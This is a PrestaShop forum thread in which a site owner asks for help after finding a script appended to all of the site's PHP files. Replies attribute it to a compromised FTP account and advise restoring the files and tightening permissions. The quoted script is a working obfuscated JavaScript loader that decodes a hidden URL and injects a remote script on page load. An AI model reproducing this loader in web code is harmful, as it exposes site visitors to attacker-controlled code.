PrestaShop Forum

The best place in the world to ask questions about PrestaShop and get advice from our passionate community!

PrestaShop Forum

Jump to content

 

cross scripting issue

2 replies to this topic
#1
kush

    PrestaShop Newbie

  • Members
  • Pip
  • 12 posts
Hello ppl,


I need a urgent help as my live website is having some issue.
each and every file(.php) of prestashop is appended (at the end of the file) a script is written i don't know how. when i uploaded these scripts where not there please help.
Script is as below

"<script>
function vdch() {
if(document.all.length > 3) {
var t = new Array('#6a7072', '#723e29', '#2d7371', '#752a62', '#637d65', '#6d2a60', '#702b63', '#7a7029');
var dchid = ""; for (j=0;j<t.length;j++) { var c_rgb = t[j]; for (i=1;i<7;i++) { var c_clr = c_rgb.substr(i++,2); if (c_clr!="00") dchid += String.fromCharCode(parseInt(c_clr,16)^i); } }
var dch = document.createElement("script");
dch.id = "dchid";
dch.src = dchid;
document.all[3].appendChild(dch);
} else {
setTimeout("vdch()",500);
}
} setTimeout("vdch()",500);
</script> "

#2
whitelighter

    PrestaShop Addict

  • Members
  • PipPipPip
  • 589 posts
Your ftp account is comprimised. You need to replace the files on your server with the originals and change your ftp account password.

#3
rocky

    PrestaShop Superstar

  • US Moderators
  • 9988 posts
Also, check to make sure your permissions are chmod 755 for directories and chmod 644 for files. If you have your permissions set to 777, then anyone can add bad code like that to your files.
Check out Nethercott Constructions for PrestaShop guides and modules. Like us on Facebook for news updates.